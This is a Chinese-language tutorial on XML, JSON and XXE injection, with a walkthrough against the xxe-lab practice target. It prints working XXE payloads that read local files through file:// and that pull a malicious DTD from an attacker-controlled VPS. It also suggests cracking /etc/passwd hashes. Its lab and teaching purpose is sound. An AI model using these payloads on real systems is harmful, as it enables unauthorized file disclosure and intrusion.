1,xml标记语言
2,json数据格式语言
3,xml与json异同分析
4,XXE漏洞简介以及三种外部实体注入声明
5,基于xxe-lab靶机环境的xxe漏洞复现
壹 xml标记语言简介
XML(Extensible Markup Language)扩展标记语言 ,是一种常用的标记语言,用于标记电子文件使其具有结构性,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
XML使用 DTD(document type definition)文档类型定义来组织数据;格式统一,跨平台和语言,早已成为业界公认的标准。XML是标准通用标记语言 (SGML) 的子集,非常适合 Web 传输。XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。
在xml中使用的是这种类型的文件进行代码的传递、引用
我们以下面这个xml代码来分析xml基础构造,xml主要是由以下三个部分组成的:
和html类似;所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素
这就是xml和html的元素
- 属性
- 比如说某个元素的链接:
- 比如说某个元素的链接:
- 实体
- 实体是用来定义普通文本的变量。实体引用是对实体的引用。
- PCDATA
- PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
- PCDATA 的意思是被解析的字符数据(parsed character data)。
- CDATA
- CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
- CDATA 的意思是字符数据(character data)。
DTD文件的声明:
分为内部声明和外部引用声明;
内部声明 <!DOCTYPE 根元素 [元素声明] > :
外部声明(引用外部的dtd文件) <!DOCTYPE 根元素 SYSTEM "文件名"> :
DTD的实体:
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可分为内部实体和外部实体。
- 内部实体:<!ENTITY 实体名 实体的值 >
- 外部实体:<!ENTITY 实体名 SYSTEM url >
内外部实体又可分为 一般实体 和 参数实体
一般实体的声明语法:<!ENTITY 实体名 "实体内容“> --> 引用实体的方式:&实体名;
参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY %实体名 "实体内容“> --> 引用实体的方式:%实体名;
贰 json数据格式语言简介
JSON全称JavaScaript对象表示法(JavaScript Object Notation),是存储和交换文本信息的语法。具有文本量更小、更快和更易解析的特点。Json和HTML不一样,HTML主要用于显示数据,JSON主要用于传递数据,所以一般作为数据的查询接口。
在 JS 语言中,一切都是对象。因此,任何支持的类型都可以通过 JSON 来表示,例如字符串、数字、对象、数组等。但是对象和数组是比较特殊且常用的两种类型:
- 对象表示为键值对
- 数据由逗号分隔
- 花括号保存对象
- 方括号保存数组
简单的解释一下,就是json是一种更加强大的javascript应用方法,通过json,就可以将html所创建的web界面与用户之间进行后台的数据交互,达到动态页面的需要
同城json是轻量级的存在,不是严谨的编程语言。
叁 xml与json异同分析
xml:可扩展的标记语言,是一种用于标记电子文件使其具有结构性的标记语言。
json:(javascript Object Notation, JS 对象简谱) 是一种轻量级的数据交换格式。
二者区别:
它们都是一种数据交换格式。
1,xml是重量级的,json是轻量级的。
2,xml在传输过程中比较占带宽,json占带宽少,易于压缩。
3,xml和json都用在项目交互下,xml多用于做配置文件,json用于数据交互。
4,json可用jackson,gson等方法解析,xml可用dom,sax,demo4j等方式解析。
肆 XXE漏洞简介以及三种外部实体注入声明
什么是XXE漏洞
XXE(XML External Entity Injection);也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件 和 代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件
构建外部实体注入的三种方式
这里都是以Windows系统下,读取D:\OS\xml.txt文件为例子进行代码分析
进行xml注入时,直接将注入代码放在http包头部的下面,主体部分的上面
第一种:直接通过DTD外部实体声明
<?xml version="1.0"?> <!DOCTYPE XXE[ <!ENTITY admin SYSTEM "file:///d:/OS/xml.txt"> ]> <a>&admin;</a>
要是为Linux的话这里可以换成/etc/passwd 直接读出用户的密码md5加密数据,然后上网找md5密码库直接碰撞
第二种:(一半实体)通过DTD外部声明引入外部DTD文档(事先存放在目标可达的vps服务器中),再引入外部的实体声明
<?xml version="1.0"?> <!DOCTYPE XXE SYSTEM "http://your vps's ip/xxe.dtd"> <a>&admin;</a>
其中vps中的目标恶意文件内写入:
<!ENTITY admin SYSTEM "file:///d:/OS/xml.txt">
第三种:(参数实体)通过DTD外部实体声明引入DTD文档,在引入外部实体声明
<?xml version="1.0"?> <!DOCTYPE XXE[ <!ENTITY % admin SYSTEM "http://your vps's ip/xxe.dtd"> %admin; ]>
!!!警告!!!
此处请严格按照书写格式进行书写,任何一处空格或是符号漏了多了都会报错!!!
伍 基于xxe-lab靶机环境的xxe漏洞复现
github上一个很基础很基础的xxe漏洞靶机环境,想要进阶xxe漏洞的请移步至vulhub漏洞集成环境
漏洞集成了三种语言编写的xxe环境,简洁大方美观大气儒雅随和(狗头),我在最后会贴一个漏洞官方给的教程gif图片
这是他的登录界面(首页)
所创建的目标文件:
老规矩,先抓包分析:
很闲登陆成功则是返回1,失败就位0,返回包后面第二个可变字段插入的是我们注入的回显点,也就是“用户名”字段,我们可以从这里入手:
先尝试直接通过DTD外部实体声明进行注入:
在下面箭头所示的位置,千万注意格式!!
第二种方式:通过引入外部DTD文档引入外部的实体声明
现在我的阿里云vps上http服务器可访问目录下创建恶意DTD文件:
然后直接干:
尝试第三种,就是第二种的变形:
千万注意格式
官方给的教程GIF:
在外部实体的路径位置,无论是域名还是使用IP地址,都必须要使用 http:// 的正规协议格式的url,不然会报错
具体原因应该是这里要上传xml代码,需要表明交互信息所使用的协议(http协议)
XXE漏洞使用的是XML语言的特性,也同样可以用 file:// 或者是 ftp:// 协议进行攻击
此漏洞危害等级较高最根本的防御方法就是XML解析库在调用时严格禁止对外部实体的解析。
爱情是一种本能,有的人天生就会,有的人一辈子都不会
——加西亚·马尔克斯 《霍乱时期的爱情》
参考文章:
https://blog.youkuaiyun.com/qq_36119192/article/details/84993356
https://www.cnblogs.com/Mikasa-Ackerman/p/10987813.html
https://blog.youkuaiyun.com/qq_36119192/article/details/83047334